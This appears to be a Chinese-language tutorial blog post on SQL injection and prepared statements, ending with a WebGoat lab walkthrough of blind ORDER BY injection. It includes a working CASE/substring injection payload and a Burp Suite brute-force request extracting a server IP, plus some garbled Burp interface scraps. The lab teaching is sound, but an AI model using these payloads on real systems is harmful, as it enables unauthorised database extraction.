

sql预编译

sql注入产生的原因

sql注入产生的原因：未经检查或者未经充分检查的用户输入数据，意外变成了代码被执行。

SQL注入的本质就是利用SQL拼接存在的缺陷进行攻击。

sql预编译原理

在JDBC编程中，PreparedStatement 用于执行参数化查询。

PreparedStatement 对象所执行的 SQL 语句中，参数用问号(?)来表示，调用 PreparedStatement 对象的 setXXX()方法来设置这些参数。setXXX() 方法有两个参数，第一个参数是要设置的 SQL 语句中的参数的索引(从 1 开始)，第二个是设置的 SQL 语句中的参数的值。

在对PreparedStatement进行预编译时，命令会带着占位符被数据库进行**编译**，并放到命令缓冲区。然后，每当执行同一个PreparedStatement语句的时候，由于在缓冲区中可以发现预编译的命令，虽然会被再解析一次，但不会被再次编译。

编译过程识别了关键字、执行逻辑之类的东西，编译结束了这条SQL语句能干什么就**确定了**。编译之后通过setXXX()设置的部分，**无法再改变执行逻辑**，这部分就只能是相当于输入字符串被处理。

经典Java预处理代码如下：

```
Connection conn = DBConnect.getConnection();
PreparedStatement ps = null;
ResultSet rs=null;

String sql = " SELECT passwd FROM test_table1 WHERE username = ? ";

//预处理编译以后sql功能已经确定，? 全部当作参数，不会被解析成命令
ps = conn.prepareStatement(sql);

//通过setString()指明该参数是字符串类型
ps.setString(1, new String("admin"));
//另外还有setInt()等一些其他方法
//ps.setInt(2, test_param);
//执行查询
rs = ps.executeQuery();
```

预处理无法参数化的地方

典型的的就是order by后的参数无法用占位符代替。

order by后一般是接字段名，而字段名是不能带引号的，比如 order by username；如果带上引号成了order by 'username'，那username就是一个字符串不是字段名了，这就产生了语法错误。

本质上来说：凡是字符串但又不能加引号的位置都不能参数化；包括sql关键字、库名、表名、字段名、函数名等等。order by后常常接字段名。

同理，like后也无法使用占位符代替

实例：webgoat SQL Injection (mitigation) order by 注入

webgoat8.2.1版本中SQL Injection (mitigation)第12关，要求是找出服务器ip的前三位。

LIST OF SERVERS

Hostname	IP	MAC	Status
webgoat-tst	192.168.2.1	EE:FF:33:44:AB:CD	success
webgoat-acc	192.168.3.3	EF:12:FE:34:AA:CC	danger
webgoat-dev	192.168.4.0	AA:BB:11:22:CC:DD	success
webgoat-pre-prod	192.168.6.4	EF:12:FE:34:AA:CC	danger

题目已经给出了很明显的提示使用order by进行注入。通过第11课的学习我们知道了可以在order by 后使用如下语句进行注入：

```
order by (case when (true) then column1 else column2 end)
```

通过点击hostname、ip、mac等字段发现记录的排列顺序发生了变化，推测具有根据字段名进行排序的功能。

使用burpsuite抓包结果如下：

Pretty Raw \n Actions ▾

1

Pretty Raw Render \n Actions

Request

Pretty Raw Render \n Actions ▾

Request

Pretty Raw Render \n Actions

✓

```
(case%20when%20(substring((select%20ip%20from%20servers%20where%20hostname%3d'webg  
oat-prd')%2c1%2c1)%3d1)%20then%20hostname%20else%20id%20end)
```

burpsuite爆破

Attack type: Cluster bomb

```
1 GET /WebGoat/SqlInjectionMitigations/servers?column=
(case%20when%20(substring((select%20ip%20from%20servers%20where%20hostname%3d'webgoat-prd')%2c%2c1)%3c%2c1)%20then%20hostname%20el
se%20id%20end) HTTP/1.1
2 Host: 127.0.0.1:8081
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
4 Accept: */*
```

第一个设置从1-3、第二个设置从0-9。最后分析结果为hostname的界面为正确的结果104：

Request	Payload1 ^	Payload2	Status	Error	Timeout	Length	Comment
5	1	1	200	<input type="checkbox"/>	<input type="checkbox"/>	892	1
	2	0	200	<input type="checkbox"/>	<input type="checkbox"/>	892	2
	3	4	200	<input type="checkbox"/>	<input type="checkbox"/>	892	3